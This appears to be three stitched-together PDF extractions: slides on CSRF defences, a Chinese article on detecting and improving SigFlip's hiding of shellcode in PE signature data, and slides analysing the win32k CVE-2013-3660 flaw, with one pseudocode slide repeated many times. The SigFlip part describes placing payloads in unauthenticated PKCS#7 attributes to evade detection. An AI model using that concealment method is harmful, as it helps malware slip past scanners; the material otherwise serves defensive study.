support across many applications ▸ Providing protection to customers as a service 20 WHAT ARE WE LOOKING FOR? ▸ Easily added to apps without CSRF protections present ▸ Works across browsers ▸ Can work for xhr, forms, and resources ▸ Minimal performance impact (cpu, memory, network) ▸ No additional requests needed (updating tokens) 21 CORRECT SAFE VERB USE ▸ If you’re changing state don’t respond to safe methods ▸ Utilize mature and well designed frameworks and routers to help ▸ Be specific with your verbs and paths ▸ Not easy to fix after the fact but makes it much easier to solve ▸ If it’s not an option there are work arounds 22 VERIFYING REFERER/ ORIGIN REFERER/ORIGIN OVERVIEW ▸ Check origin/referer in request against current address ▸ Not strictly required but adds some additional protection layers ▸ Probably what you want if you’re dependent on CORS ▸ Possibly sufficient with safe methods used correctly ▸ Not fool proof because of header conditions ▸ For CORS read https://mixmax.com/blog/modern-csrf 24 GET /transfer.php HTTP/1.1 Host: bank.lol User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) X-Requested-With: XMLHttpRequest Origin: shady.attacker:80 Referer: http://shady.attacker/csrf-form.html URL url = null; String originHeader = request.getHeader("Origin"); if (originHeader != null) { url = new URL(originHeader); } else { String refererHeader = request.getHeader("Referer"); if (refererHeader != null) { url = new URL(refererHeader); } } String origin = url.getAuthority(); String host = request.getHeader("Host"); if (origin == null || origin.equalsIgnoreCase(host)) { return true; } return false; TOKENS TOKEN OVERVIEW ▸ Come in two types: synchronizer and crypto ▸ Designed to make each request unique and tie it to a specific user and action ▸ Required for all state changing actions ▸ Traditionally only used for logged in users but can be used unauthenticated ▸ Additional benefits such as stopping replays 28 COMPOSITION ▸ Essentially composed of four components: ▸ Random Value/nonce ▸ User ID ▸ Expiration ▸ Authenticity Verification ▸ If one is missing security of tokens is severely compromised 29 User bank.lol GET / Response POST /search Response GET / HTTP/1.1 Host: bank.lol HTTP/1.1 200 OK Set-Cookie: token=1234567890abcdef … POST /search Host: bank.lol Cookies: token=1234567890abcdef HTTP/1.1 200 OK Set-Cookie: token=123abc ▸ Crypto requires no server side storage or deployment changes ▸ Synchronizer tokens are just random data ▸ Basically never use crypto tokens ▸ We’re going to introduce a hybrid solution that provides the best of both worlds (mostly) 31 CRYPTO VS SYNCHRONIZER GENERATION String generateToken(int userId, int key) { byte[16] data = random() expires = time() + 3600 raw = hex(data) + "-" + userId + "-" + expires signature = hmac(sha256, raw, key) return raw + "-" + signature } 32 VALIDATION 33 bool validateToken(token, user) { parts = token.split("-") str = parts[0] + "-" + parts[1] + "-" + parts[2] generated = hmac(sha256, str, key) if !constantCompare(generated, parts[3]) { return false } if parts[2] < time() { return false } if parts[1] != user { return false } return true } GIVING THE USER AGENT TOKENS 1. Intercept response on the way out after processing 2. If token is validated for request or doesn’t exist generate one 3. If generated create cookie and add to response 34 SENDING TOKENS BACK FORMS 1. Attach an event listener to the document for “click” and delegate 2. Walk up the DOM to the form 3. Create new element and append to form 4. Return and allow browser to do it’s thing 36 var target = evt.target; while (target !== null) { if (target.nodeName === 'A' || target.nodeName === 'INPUT' || target.nodeName === 'BUTTON') { break; } target = target.parentNode; } // We didn't find any of the delegates, bail out if (target === null) { return; } // If it's an input element make sure it's of type submit var type = target.getAttribute('type'); if (target.nodeName === 'INPUT' && (type === null || !type.match(/^submit$/i))) { return; } // Walk up the DOM to find the form var form; for (var node = target; node !== null; node = node.parentNode) { if (node.nodeName === 'FORM') { form = node; break; } } if (form === undefined) { return; } var token = form.querySelector('input[name="csrf_token"]'); var tokenValue = getCookieValue('CSRF-TOKEN'); if (token !== undefined && token !== null) { if (token.value !== tokenValue) { token.value = tokenValue; } return; } var newToken = document.createElement('input'); newToken.setAttribute('type', 'hidden'); newToken.setAttribute('name', 'csrf_token'); newToken.setAttribute('value', tokenValue); form.appendChild(newToken); XHR 1. Save reference to XMLHttpRequest.prototype.send 2. Overwrite XMLHttpRequest.prototype.send with new function 3. Retrieve and append token from cookie into request header 4. Call original send method 40 XMLHttpRequest.prototype._send = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.send = function() { if (!this.isRequestHeaderSet('X-Requested-With')) { this.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); } var tokenValue = getCookieValue('CSRF-TOKEN'); if (tokenValue !== null) { this.setRequestHeader('X-CSRF-Header', tokenValue); } this._send.apply(this, arguments); }; TOGGLES ▸ Cookie Secure flag ▸ Protect safe verbs ▸ Cross origin support + Permitted origins 42 BROWSER SUPPORT 43 Browser Supported IE 8+ Edge Yes Firefox 6+ Chrome Yes Safari 4+ Opera 11.6+ iOS Safari 3+ Android 2.3+ DEMO TIME THE FUTURE SAMESITE COOKIES ▸ Extension to browser cookies ▸ Largely replace the need for synchronizer tokens ▸ Correct use of safe methods is still important ▸ Fully client side implemented (no sever side component except cookie gen) ▸ Stops cookies from being sent with requests originating from a different origin 46 User bank.lol GET / Response GET /image1 GET /image2 GET /image3 GET / HTTP/1.1 Host: bank.lol HTTP/1.1 200 OK Set-Cookie: session=1234567890abcdef … GET /image1 Host: bank.lol Cookies: session=1234567890abcdef … GET /image2 Host: bank.lol Cookies: session=1234567890abcdef User shady.lol GET / Response GET /transfer GET / HTTP/1.1 Host: shady.lol HTTP/1.1 200 OK … GET /image1 Host: bank.lol Cookies: session=1234567890abcdef bank.lol GET / HTTP/1.1 Host: bank.lol … HTTP/1.1 200 OK Set-Cookie: session=1234567890abcdef; SameSite=Lax … STRICT VS. LAX STRICT VS LAX ▸ Strict enforces for safe methods while Lax does not ▸ Strict can break for initial page load if cookies are expected present ▸ You can fix with some creative redirect magic ▸ Lax is probably sufficient in most cases HTTPS://TOOLS.IETF.ORG/HTML/DRAFT-IETF-HTTPBIS-COOKIE-SAME-SITE-00 51 BROWSER SUPPORT 52 Browser Supported IE X Edge X Firefox X Chrome 55+ Safari X Opera 43+ iOS Safari X Android Chrome 56 http://caniuse.com/#feat=same-site-cookie-attribute IMPLEMENTATION 1. Intercept responses on the way out 2. Parse Set-Cookie headers 3. Identify if cookie should have the SameSite attribute 4. Identify if SameSite attribute is present 5. Add SameSite attribute if not present 53 CONCLUSION ▸ We have current flexible solutions for CSRF that solve most cases ▸ These can be deployed retroactively to apps without support ▸ If you’re building new apps use framework support ▸ We need to get users off old broken browsers ▸ SameSite looks like a possible end in many cases but too soon to tell 54
pdf
听说你在⽤SigFlip在PE签名⾥嵌⼊ shellcode? -- 副标题: 检测SigFlip在PE的签名⾥嵌⼊的shellcode,以及嵌⼊⽅法改进 # 前⾔ 之前看到 @w8ay 实现的⽩加⿊⽣成器,就感觉这个做法⾮常的棒,但是 SigFlip 的做法 真的隐蔽吗?真的不容易被查杀吗? 刚好最近在研究PE的⽂件签名结构和签名,那今天就详细讲解⼀下签名相关的内容,以及如 何改进 SigFlip 实现更深层次的隐藏。 # 原理回顾 对原理⽐较了解的直接跳过这⼀节。 看⼀下微软给的PE⽂件的签名的结构,这⼀张图⾮常的经典,但是这只是⼀个微软签名省略 了⼤部分细节的概括图,但是有助于我们了解⼀些最基本的信息。 ⾸先可以看到图中灰⾊区域标注的内容是不参与⽂件签名hash计算的,并且可以看 到 Attribute Certificate table 的位置是由 PE头中的 Data Directories 中某⼀项指 定的, Data Directories 共有16项,每⼀项的结构都是: 总共8个字节,指定了对应的数据在⽂件中的偏移以及⼤⼩。 Data Directories 的Security 项就指向了其签名数据。 签名数据的数据结构是: dwLength: 表明签名的数据的总体⼤⼩,⼀般是等于 _IMAGE_DATA_DIRECTORY 的size 字段。 ·wRevision:表明当前签名信息的版本。 wCertificateType:指定接下来的签名的类型 bCertificate:Byte数组,存储的就是签名的具体数据。 最值得注意的是 bCertificate 的字节⼤⼩要求8字节对齐。 SigFlip的代码实现 从上⾯分析的不参与⽂件校验的部分可以得知,只有 _WIN_CERTIFICATE 部分是可以⽤来隐 藏数据的,具体我们直接看SigFlip的代码实现。 typedef struct _IMAGE_DATA_DIRECTORY {    DWORD   VirtualAddress;    DWORD   Size; } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; 1 2 3 4 typedef struct _WIN_CERTIFICATE {    DWORD       dwLength;    WORD        wRevision;    WORD        wCertificateType;   // WIN_CERT_TYPE_xxx    BYTE        bCertificate[ANYSIZE_ARRAY]; } WIN_CERTIFICATE, *LPWIN_CERTIFICATE; 1 2 3 4 5 6 ⾸先获取到 _WIN_CERTIFICATE 的位置和⼤⼩,然后把数据padding到签名中,并扩充为8字 节对齐,最后更新PE⽂件的checksum和 _WIN_CERTIFICATE 的⼤⼩。 # 检测⽅法 SigFlip 的检测是⾮常简单,我们抛开插⼊shellcode时的标识起始 字 \xFE\xED\xFA\xCE\xFE\xED\xFA\xCE 不谈,只看插⼊的内容,可以看到 SigFlip 仅 仅修改了 _IMAGE_DATA_DIRECTORY 中的 Size 字段,但是并没有修改 _WIN_CERTIFICATE 中的 dwLength ,两个长度不⼀致就可以很轻易的发现隐藏在签名中的数据: //Get IMAGE_DIRECTORY_ENTRY_SECURITY field and retrieve the RVA and SIZE of the Certificate Table (WIN_CERTIFICATE). _CertTableRVA = _optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY + _DT_SecEntry_Offset].VirtualAddress; _CertTableSize = _optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY + _DT_SecEntry_Offset].Size; _wCert = (LPWIN_CERTIFICATE)((BYTE*)_peBlob + _CertTableRVA); 1 2 3 4 memcpy((((BYTE*)_peBlob + _CertTableRVA) + _wCert->dwLength), _rpadding, strlen(_rpadding)); //update dwLength and Cert Table Entry Size. printf("[+]:Updating OPT Header Fields/Entries \n"); _wCert->dwLength += strlen(_rpadding); _ntHeader- >OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY + _DT_SecEntry_Offset].Size += strlen(_rpadding); //update checksum printf("[+]:Calculating/Updating the new OPTHeader checksum\n"); checksum = PEChecksum(_peBlob, _fSize); _ntHeader->OptionalHeader.CheckSum = checksum; 1 2 3 4 5 6 7 8 9 10 11 此时就会有⼈想,如果我把 _WIN_CERTIFICATE 的 dwLength 也修改了,那是不是就⾜够隐 蔽了呢?要解答这个问题,只简单的看⼀下上⾯的微软的签名概略图是远远不够的,我们需 要深⼊了解签名数据中每⼀段的含义和作⽤,在下⼀节会进⾏详细的讲解。 # 改进SigFlip的思路 在进⾏这⼀节之前,我们应该先⼤概了解⼀下 ASN.1 格式标准和 DER(Distinguished Encoding Rules) 编码规范,可以阅读如下的参考⽂章: https://blog.csdn.net/zhaoruixiang1111/article/details/84191682        pe_obj = pefile.PE(filepath)              security_entry = pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_SECURITY"]        sig_off = pe_obj.OPTIONAL_HEADER.DATA_DIRECTORY[security_entry].VirtualAddress        sig_len = pe_obj.OPTIONAL_HEADER.DATA_DIRECTORY[security_entry].Size        pkcs7Data = b""        dirty = b""        if sig_off == 0 or sig_len == 0:            return pkcs7Data,dirty        # 取出和 security 相关的数据        with open(filepath, 'rb') as fh:            fh.seek(sig_off)            sig_raw_data = fh.read(sig_len)        begin = 0        new_p = self.WIN_CERTIFICATE()  c.memmove(c.addressof(new_p),sig_raw_data,c.sizeof(self.WIN_CERTIFICAT E))        pkcs7Data = sig_raw_data[begin+8: begin+ new_p.dwLength ]        begin += new_p.dwLength        dirty = sig_raw_data[begin:]        return pkcs7Data,dirty 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 https://www.cnblogs.com/nathanyang/p/9951282.html 简单来讲每⼀个结构的数据都是⽤如下三个部分来描述的: Identifer: 表述数据类型 Length:表⽰后⾯接的数据长度 Contents:就存放着需要的数据 ⽐如我们对字符串 [email protected] 进⾏编码: 微软的前⾯数据其实是 pkcs#7 加密消息标准的数据,是使⽤满⾜ ASN.1 的编码标准,使 ⽤ DER 编码规范进⾏存储的数据其ASN.1的定义如下: 其中 ContentType 表⽰了 Content 的具体数据格式,有如下的可选值: 16           0d         74 65 73 74 31 40 72 73 61 2e 63 6f 6d indentify length       字符串的Ascii码 1 2 ContentInfo ::= SEQUENCE {       contentType ContentType,       content [0] EXPLICIT ANY DEFINED BY contentType OPTIONAL } 1 2 3 4 '1.2.840.113549.1.7.1': 'data', '1.2.840.113549.1.7.2': 'signed_data', '1.2.840.113549.1.7.3': 'enveloped_data', '1.2.840.113549.1.7.4': 'signed_and_enveloped_data', '1.2.840.113549.1.7.5': 'digested_data', '1.2.840.113549.1.7.6': 'encrypted_data', '1.2.840.113549.1.9.16.1.2': 'authenticated_data', '1.2.840.113549.1.9.16.1.9': 'compressed_data', '1.2.840.113549.1.9.16.1.23': 'authenticated_enveloped_data', '1.3.6.1.4.1.311.2.1.4': 'spc_indirect_data_content' 1 2 3 4 5 6 7 8 9 10 在这⾥ contentType 的obj是 1.2.840.113549.1.7.2 ,表明 content 的内容 是 signedData 。 看到这⾥你就找到了上⼀节的问题的答案,由于DER编码数据中存储有⾃⾝的length,所以 即便我们修改了 dwLength,依然⽆法实现数据隐藏,这⾥的长度校验依然会让隐藏数据⽆处 遁形。 我们继续向下分析,SignedData的数据格式定义如下: ContentInfo 的内容是参与签名计算的,不能修改。 certificates ⾥⾯存储的是x509格 式的证书⽂件,其实是可以把⾃⼰的shellcode编码为⼀个证书存在这⾥,但是这相对来讲是⽐ 较有难度的。另外 Crls 是⼀个可选成员,在这⾥微软并没有使⽤这个成员,所以按道理是可 以⽤来隐藏数据的,不过还是不够隐蔽,我们继续看, SignerInfos 的格式定义分别如下: // SignedData ::= SEQUENCE {        version Version,        digestAlgorithms DigestAlgorithmIdentifiers,        contentInfo ContentInfo,        certificates               [0] IMPLICIT ExtendedCertificatesAndCertificates OPTIONAL,        Crls           [1] IMPLICIT CertificateRevocationLists OPTIONAL,        signerInfos SignerInfos } 1 2 3 4 5 6 7 8 9 10 11 主要看 unauthenticatedAttributes ,这是⼀个可变长数组,微软定⼀个此数组存在⼀个元 素时以及两个元素时的含义,但是到底是存在⼀个元素还是两个元素是看具体的签名签发者 决定的,所以这个数组是可以⽤来隐藏数据的,我们只需要定义⼀个公共使⽤的obj_id,就可 以避免被发现。 持续关注本微信公众号或知识请求, SigFlip-plus 版本的相关的代码实现会在后续公开。 # 参考⽂档 https://3gstudent.github.io/%E9%9A%90%E5%86%99%E6%8A%80%E5%B7%A7-%E5%9C%A8 PE%E6%96%87%E4%BB%B6%E7%9A%84%E6%95%B0%E5%AD%97%E8%AF%81%E4%B9 %A6%E4%B8%AD%E9%9A%90%E8%97%8FPayload https://ti.dbappsecurity.com.cn/info/2163 https://mp.weixin.qq.com/s/aOyNgfp6oHCNS8JqrradkQ SignerInfos ::= SET OF SignerInfo SignerInfo ::= SEQUENCE {        version Version,        issuerAndSerialNumber IssuerAndSerialNumber,        digestAlgorithm DigestAlgorithmIdentifier,        authenticatedAttributes [0] IMPLICIT Attributes OPTIONAL,        digestEncryptionAlgorithm DigestEncryptionAlgorithmIdentifier,        encryptedDigest EncryptedDigest,        unauthenticatedAttributes  [1] IMPLICIT Attributes OPTIONAL } 1 2 3 4 5 6 7 8 9 10 11
pdf
请谨慎编码,哪怕它只是一句错误处理 wang yu Hacks in Taiwan, 2013 — 来自 win32k ! EPATHOBJ::pprFlattenRec 漏洞的启示 议题简介 第一部分 议题简介 ·关于作者 ( [email protected] ) ·议题背景 2013 年 3 月 Tavis Ormandy 前辈披露了一个微 软win32k 模块的问题 —— 在内存压力测试的情况 下,例程 win32k!EPATHOBJ::bFlatten 发生了蓝屏。 接下来,关于该蓝屏的利用可谓是一波三折。5 月,随着对链表关系的深度分析,蓝屏问题终于上升 为本地提权问题,exploit-db 对此问题的关注度激 增。 本议题将聚焦于 win32k!EPATHOBJ 子系统数据 结构的设计与实现,以白盒的视角审视上述提权漏洞 的原理及利用细节。 议题简介 ·议题涵盖 - win32k!EPATHOBJ 子系统相关数据结构的背景、设计 与实现 - win32k!EPATHOBJ::pprFlattenRec 漏洞 ( CVE-2013- 3660 ) 的产生原因及几种可行的修复方案 - CVE-2013-3660 任意地址写入漏洞的利用思路及演进 过程 - 漏洞给我们带来的思考与启示 - 更多测试与审计 ·责任声明 PATH 子系统设计背景与数据结构 第二部分 让我们从这里开始 ...... EPATHOBJ::pprFlattenRec() is an internal routine for applying this process to a linked list of PATHRECORD objects. If you follow the logic, you can see that the PATHRECORD object retrieved from newpathrec() is mostly initialized, but with one obvious error: EPATHOBJ::pprFlattenRec(_PATHRECORD *)+33: .text:BFA122CD mov eax, [esi+PATHRECORD.prev] ; load old prev .text:BFA122D0 push edi .text:BFA122D1 mov edi, [ebp+new] ; get the new PATHRECORD .text:BFA122D4 mov [edi+PATHRECORD.prev], eax (1) ; copy prev pointer over .text:BFA122D7 lea eax, [edi+PATHRECORD.count] ; save address of count member .text:BFA122DA xor edx, edx ; set count to zero .text:BFA122DC mov [eax], edx (2) .text:BFA122DE mov ecx, [esi+PATHRECORD.flags] ; load flags .text:BFA122E1 and ecx, 0FFFFFFEFh ; clear bezier flag .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx (3) ; copy old flags over The next pointer is never initialized! ...... —— Tavis Ormandy 上下文中 next 指针是什么?未初始化意味着什么? (4) 吾将上下而求索 — PATH 子系统 Windows 图形子系统绘制直线或曲线至少需要哪些要素?让 我们从面向对象的角度想想: 颜色?宽度?样式?(像素)点的坐标?点的类型? ...... Windows 图形子系统是怎么做的: ·The GDI pen objects manage pens. ·The device context objects manage other line and curve drawing attributes. ·Now we need something to manage geometric shapes. This brings us to the GDI path objects. —— Feng Yuan GDI path objects —— 坐标点与属性集合的管理者 吾将上下而求索 — PATH 子系统 The Win32 API does not provide any functions to create PATH_TYPE objects directly, although you may have always suspected that some object must be created. GDI objects need to be selected into a Device Context to be used in GDI drawing calls. A path, unlike other GDI objects, does not have an explicit selection function. It's selected implicitly when it's created. ——《Windows Graphics Programming Win32 GDI and DirectDraw》 这一切让我充满好奇 ·静态逆向 ·动态跟踪 ·GDI Debugger Extension ·当然,理论上我还可以... 白盒分析 吾将上下而求索 — GDI Debugger Extension 吾将上下而求索 — PATH 数据结构 Ring-3 Ring-0 NtGdiBeginPath() BeginPath() DCOBJ::DCOBJ DHPDEV PDEV …….. …….. DCLEVEL …….. …….. hpath flPath win32k!PATH …….. …….. …….. DC object gcMaxHmgr PATH object XEPATHOBJ::XEPATHOBJ gpentHmgr +00 +10 +04 +08 +0C hHmgr Tid ExclusiveLock / Flag ShareCount object header WangYu, All Rights Reserved. +14 +18 ppachain pprfirst pprlast rcfxBoundBox +1C …….. PATHALLOC struct 02 …….. PATHALLOC struct 01 +00 NULL +04 +08 +0C ppanext pprfreestart siztPathAlloc ppanext +00 +04 pprfreestart +0C +08 siztPathAlloc PATHRECORD PATHRECORD …….. PATHRECORD …….. PolyDraw() NtGdiPolyDraw() EPATHOBJ::bPolyBezierTo( ) EPATHOBJ::addpoints() EPATHOBJ::createrec() PATHALLOCSIZE 0xFC0 (1) win32k!PATH (2) win32k!PATHALLOC (3) win32k!PATHRECORD HmgShareLock 吾将上下而求索 — PATH 数据结构 WangYu, All Rights Reserved. PATH struct PATHALLOC 01 ppachain pprfirst pprlast ppanext ……… pprfreestart siztPathAlloc PATHRECORD pprnext ppanext pprfreestart siztPathAlloc PATHRECORD PATHRECORD ……… pprnext pprprev pprprev flags flags count count aptfx.x [0] aptfx.y ……… PATHALLOC Remaining space aptfx.x [0] aptfx.y ……… aptfx.x [n] aptfx.y pprnext count aptfx.y aptfx.x [0] ……… pprprev flags PATHALLOC Remaining space Next … Prev … PATHALLOC::freelist #define FREELIST_MAX 4 PATHALLOC 02 PATHALLOC N PATHRECORD pprnext count aptfx.y aptfx.x [0] ……… pprprev flags pprnext pprprev flags count aptfx.x [0] aptfx.y ……… aptfx.x [n] aptfx.y PATHRECORD ??? (2) (3) (1) (4) VOID freepathalloc(PATHALLOC *ppa) 吾将上下而求索 — PATH 数据结构 需要关注的数据结构: ·win32k!PATH ·win32k!PATHALLOC ·win32k!PATHRECORD 简言之,结构 PATHALLOC 是 "PATH 内存池管理器" 的头部, 它维护了 "下一链指针"、"剩余空间基址"、"大小" 三项信息。 // 注意,这里的 "大小" 不是指剩余空间的大小,而是池空间 的总大小 ( PATHALLOCSIZE ) 结构 PATHRECORD 是实际的内存使用形式。该池的主要设计 目的是存储 _POINTFIX 点信息。在这个漏洞的调用上下文中, "点" 主要被用在贝塞尔曲线的直线化过程 ( flattening )。 漏洞定位 第三部分 next 指针究竟怎么了? /* ** Cruise over a path, translating all of the beziers into sequences of lines. */ BOOL EPATHOBJ::bFlatten() { for (PATHRECORD *ppr = ppath->pprfirst; ppr != (PPATHREC) NULL; ppr = ppr->pprnext) { if (ppr->flags & PD_BEZIERS) { ppr = pprFlattenRec(ppr); ...... } } ...... return TRUE; } PATH struct ppachain pprfirst pprlast ……… pprnext pprprev flags count aptfx.x [0] aptfx.y ……… aptfx.x [n] aptfx.y PATHRECORD pprnext pprprev PD_BEZIERS count aptfx.x [0] aptfx.y ……… PATHRECORD pprnext pprprev flags count aptfx.x [0] aptfx.y ……… aptfx.x [n] aptfx.y PATHRECORD aptfx.x [1] aptfx.y PATHALLOC 01 NULL ppr EPATHOBJ::pprFlattenRec(PATHRECORD *ppr) 让我们回到例程 EPATHOBJ::pprFlattenRec() 以及它的调用者 EPATHOBJ::bFlatten(),探究 next 指针究竟怎么了。 next 指针真的未得到初始化吗? PPATHREC EPATHOBJ::pprFlattenRec(PATHRECORD *ppr) { // 1. create a new record if (newpathrec(&pprNew,&maxadd,MAXLONG) != TRUE) return (PPATHREC) NULL; // 2. init some fields (count/flags ...) pprNew->count = 0; pprNew->flags = (ppr->flags & ~PD_BEZIERS); // 3. init the prev-link of the new record pprNew->pprprev = ppr->pprprev; if (pprNew->pprprev == (PPATHREC) NULL) ppath->pprfirst = pprNew; // either insert the record to the head (pprfirst) else pprNew->pprprev->pprnext = pprNew; // or insert the record to the prev node // 4. flattening ...... // 5. init the next-link of the new record pprNew->pprnext = ppr->pprnext; if (pprNew->pprnext == (PPATHREC) NULL) ppath->pprlast = pprNew; // either insert the record to the tail (pprlast) else pprNew->pprnext->pprprev = pprNew; // or insert the record to the next node // 6. return return(pprNew); } PATH ppachain pprfirst pprlast ……… pprnext pprprev flags count ……… PATHRECORD pprnext pprprev PD_BEZIERS count ……… PATHRECORD pprnext pprprev flags count ……… PATHRECORD ppr next 指针真的未得到初始化吗? PPATHREC EPATHOBJ::pprFlattenRec(PATHRECORD *ppr) { // 1. create a new record if (newpathrec(&pprNew,&maxadd,MAXLONG) != TRUE) return (PPATHREC) NULL; // 2. init some fields (count/flags ...) pprNew->count = 0; pprNew->flags = (ppr->flags & ~PD_BEZIERS); // 3. init the prev-link of the new record pprNew->pprprev = ppr->pprprev; if (pprNew->pprprev == (PPATHREC) NULL) ppath->pprfirst = pprNew; // either insert the record to the head (pprfirst) else pprNew->pprprev->pprnext = pprNew; // or insert the record to the prev node // 4. flattening ...... // 5. init the next-link of the new record pprNew->pprnext = ppr->pprnext; if (pprNew->pprnext == (PPATHREC) NULL) ppath->pprlast = pprNew; // either insert the record to the tail (pprlast) else pprNew->pprnext->pprprev = pprNew; // or insert the record to the next node // 6. return return(pprNew); } PATH ppachain pprfirst pprlast ……… pprnext pprprev flags count ……… PATHRECORD pprnext pprprev PD_BEZIERS count ……… PATHRECORD pprnext pprprev flags count ……… PATHRECORD ppr pprnext pprprev flags count ……… PATHRECORD next 指针真的未得到初始化吗? PPATHREC EPATHOBJ::pprFlattenRec(PATHRECORD *ppr) { // 1. create a new record if (newpathrec(&pprNew,&maxadd,MAXLONG) != TRUE) return (PPATHREC) NULL; // 2. init some fields (count/flags ...) pprNew->count = 0; pprNew->flags = (ppr->flags & ~PD_BEZIERS); // 3. init the prev-link of the new record pprNew->pprprev = ppr->pprprev; if (pprNew->pprprev == (PPATHREC) NULL) ppath->pprfirst = pprNew; // either insert the record to the head (pprfirst) else pprNew->pprprev->pprnext = pprNew; // or insert the record to the prev node // 4. flattening ...... // 5. init the next-link of the new record pprNew->pprnext = ppr->pprnext; if (pprNew->pprnext == (PPATHREC) NULL) ppath->pprlast = pprNew; // either insert the record to the tail (pprlast) else pprNew->pprnext->pprprev = pprNew; // or insert the record to the next node // 6. return return(pprNew); } PATH ppachain pprfirst pprlast ……… pprnext pprprev flags count ……… PATHRECORD pprnext pprprev PD_BEZIERS count ……… PATHRECORD pprnext pprprev flags count ……… PATHRECORD ppr pprnext pprprev flags count ……… PATHRECORD next 指针真的未得到初始化吗? PPATHREC EPATHOBJ::pprFlattenRec(PATHRECORD *ppr) { // 1. create a new record if (newpathrec(&pprNew,&maxadd,MAXLONG) != TRUE) return (PPATHREC) NULL; // 2. init some fields (count/flags ...) pprNew->count = 0; pprNew->flags = (ppr->flags & ~PD_BEZIERS); // 3. init the prev-link of the new record pprNew->pprprev = ppr->pprprev; if (pprNew->pprprev == (PPATHREC) NULL) ppath->pprfirst = pprNew; // either insert the record to the head (pprfirst) else pprNew->pprprev->pprnext = pprNew; // or insert the record to the prev node // 4. flattening ...... // 5. init the next-link of the new record pprNew->pprnext = ppr->pprnext; if (pprNew->pprnext == (PPATHREC) NULL) ppath->pprlast = pprNew; // either insert the record to the tail (pprlast) else pprNew->pprnext->pprprev = pprNew; // or insert the record to the next node // 6. return return(pprNew); } PATH ppachain pprfirst pprlast ……… pprnext pprprev flags count ……… PATHRECORD pprnext pprprev PD_BEZIERS count ……… PATHRECORD pprnext pprprev flags count ……… PATHRECORD ppr pprnext pprprev flags count ……… PATHRECORD next 指针真的未得到初始化吗? PPATHREC EPATHOBJ::pprFlattenRec(PATHRECORD *ppr) { // 1. create a new record if (newpathrec(&pprNew,&maxadd,MAXLONG) != TRUE) return (PPATHREC) NULL; // 2. init some fields (count/flags ...) pprNew->count = 0; pprNew->flags = (ppr->flags & ~PD_BEZIERS); // 3. init the prev-link of the new record pprNew->pprprev = ppr->pprprev; if (pprNew->pprprev == (PPATHREC) NULL) ppath->pprfirst = pprNew; // either insert the record to the head (pprfirst) else pprNew->pprprev->pprnext = pprNew; // or insert the record to the prev node // 4. flattening ...... // 5. init the next-link of the new record pprNew->pprnext = ppr->pprnext; if (pprNew->pprnext == (PPATHREC) NULL) ppath->pprlast = pprNew; // either insert the record to the tail (pprlast) else pprNew->pprnext->pprprev = pprNew; // or insert the record to the next node // 6. return return(pprNew); } PATH ppachain pprfirst pprlast ……… pprnext pprprev flags count ……… PATHRECORD pprnext pprprev PD_BEZIERS count ……… PATHRECORD pprnext pprprev flags count ……… PATHRECORD ppr pprnext pprprev flags count ……… PATHRECORD next 指针真的未得到初始化吗? PPATHREC EPATHOBJ::pprFlattenRec(PATHRECORD *ppr) { // 1. create a new record if (newpathrec(&pprNew,&maxadd,MAXLONG) != TRUE) return (PPATHREC) NULL; // 2. init some fields (count/flags ...) pprNew->count = 0; pprNew->flags = (ppr->flags & ~PD_BEZIERS); // 3. init the prev-link of the new record pprNew->pprprev = ppr->pprprev; if (pprNew->pprprev == (PPATHREC) NULL) ppath->pprfirst = pprNew; // either insert the record to the head (pprfirst) else pprNew->pprprev->pprnext = pprNew; // or insert the record to the prev node // 4. flattening ...... // 5. init the next-link of the new record pprNew->pprnext = ppr->pprnext; if (pprNew->pprnext == (PPATHREC) NULL) ppath->pprlast = pprNew; // either insert the record to the tail (pprlast) else pprNew->pprnext->pprprev = pprNew; // or insert the record to the next node // 6. return return(pprNew); } PATH ppachain pprfirst pprlast ……… pprnext pprprev flags count ……… PATHRECORD pprnext pprprev PD_BEZIERS count ……… PATHRECORD pprnext pprprev flags count ……… PATHRECORD ppr pprnext pprprev flags count ……… PATHRECORD from GraphicsPath MSDN documentation next 指针真的未得到初始化吗? PPATHREC EPATHOBJ::pprFlattenRec(PATHRECORD *ppr) { // 1. create a new record if (newpathrec(&pprNew,&maxadd,MAXLONG) != TRUE) return (PPATHREC) NULL; // 2. init some fields (count/flags ...) pprNew->count = 0; pprNew->flags = (ppr->flags & ~PD_BEZIERS); // 3. init the prev-link of the new record pprNew->pprprev = ppr->pprprev; if (pprNew->pprprev == (PPATHREC) NULL) ppath->pprfirst = pprNew; // either insert the record to the head (pprfirst) else pprNew->pprprev->pprnext = pprNew; // or insert the record to the prev node // 4. flattening ...... // 5. init the next-link of the new record pprNew->pprnext = ppr->pprnext; if (pprNew->pprnext == (PPATHREC) NULL) ppath->pprlast = pprNew; // either insert the record to the tail (pprlast) else pprNew->pprnext->pprprev = pprNew; // or insert the record to the next node // 6. return return(pprNew); } PATH ppachain pprfirst pprlast ……… pprnext pprprev flags count ……… PATHRECORD pprnext pprprev PD_BEZIERS count ……… PATHRECORD pprnext pprprev flags count ……… PATHRECORD ppr pprnext pprprev flags count ……… PATHRECORD next 指针真的未得到初始化吗? PPATHREC EPATHOBJ::pprFlattenRec(PATHRECORD *ppr) { // 1. create a new record if (newpathrec(&pprNew,&maxadd,MAXLONG) != TRUE) return (PPATHREC) NULL; // 2. init some fields (count/flags ...) pprNew->count = 0; pprNew->flags = (ppr->flags & ~PD_BEZIERS); // 3. init the prev-link of the new record pprNew->pprprev = ppr->pprprev; if (pprNew->pprprev == (PPATHREC) NULL) ppath->pprfirst = pprNew; // either insert the record to the head (pprfirst) else pprNew->pprprev->pprnext = pprNew; // or insert the record to the prev node // 4. flattening ...... // 5. init the next-link of the new record pprNew->pprnext = ppr->pprnext; if (pprNew->pprnext == (PPATHREC) NULL) ppath->pprlast = pprNew; // either insert the record to the tail (pprlast) else pprNew->pprnext->pprprev = pprNew; // or insert the record to the next node // 6. return return(pprNew); } PATH ppachain pprfirst pprlast ……… pprnext pprprev flags count ……… PATHRECORD pprnext pprprev PD_BEZIERS count ……… PATHRECORD pprnext pprprev flags count ……… PATHRECORD 